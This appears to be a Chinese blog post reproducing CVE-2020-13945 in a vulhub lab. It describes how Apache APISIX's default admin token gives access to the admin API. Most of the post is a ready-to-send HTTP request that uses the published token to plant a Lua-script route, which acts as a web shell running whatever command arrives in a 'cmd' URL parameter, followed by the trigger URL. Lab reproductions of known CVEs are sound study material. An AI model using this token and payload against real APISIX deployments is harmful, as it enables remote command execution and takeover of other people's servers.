vulhub中Apache APISIX 默认密钥漏洞复现(CVE-2020-13945)

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token `edd1c9f034335f136f87ad84b625c8f1`,攻击者利用这个Token可以访问到管理员接口,进而通过`script`参数来插入任意LUA脚本并执行。

1.利用默认Token增加一个恶意的router,其中包含恶意LUA脚本:

复制代码
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

2.然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:

复制代码
http://your-ip:9080/attack?cmd=id
相关推荐
小宇的天下21 小时前
Cadence allegro---assign net
服务器·php·apache
软件派2 天前
Apache Paimon终极教程——流批一体存储引擎深度解析(附Flink集成案例+性能调优代码)
apache·性能调优·流批一体·实时数据处理·paimon教程·flink集成·湖仓架构
三水不滴2 天前
Apache RocketMQ的原理与实践
经验分享·apache·rocketmq
whale fall2 天前
celery -A tool.src.main worker --loglevel=info --queues=worker1_queue & 什么意思
python·学习·apache
TracyCoder1233 天前
ElasticSearch核心引擎Apache Lucene(五):相关性算分 (Scoring)
elasticsearch·apache·lucene
码上上班3 天前
一文学会apache httpd
apache
野生技术架构师3 天前
Spring Boot 3 集成 Apache Calcite:多数据源查询的终极解决方案
spring boot·后端·apache
TracyCoder1234 天前
ElasticSearch核心引擎Apache Lucene(四):段 (Segment) 的设计与合并
elasticsearch·apache·lucene
TracyCoder1234 天前
ElasticSearch核心引擎Apache Lucene(三):数值与空间数据索引
elasticsearch·apache·lucene
Elastic 中国社区官方博客4 天前
Elasticsearch:Apache Lucene 2025 年终总结
大数据·人工智能·elasticsearch·搜索引擎·apache·lucene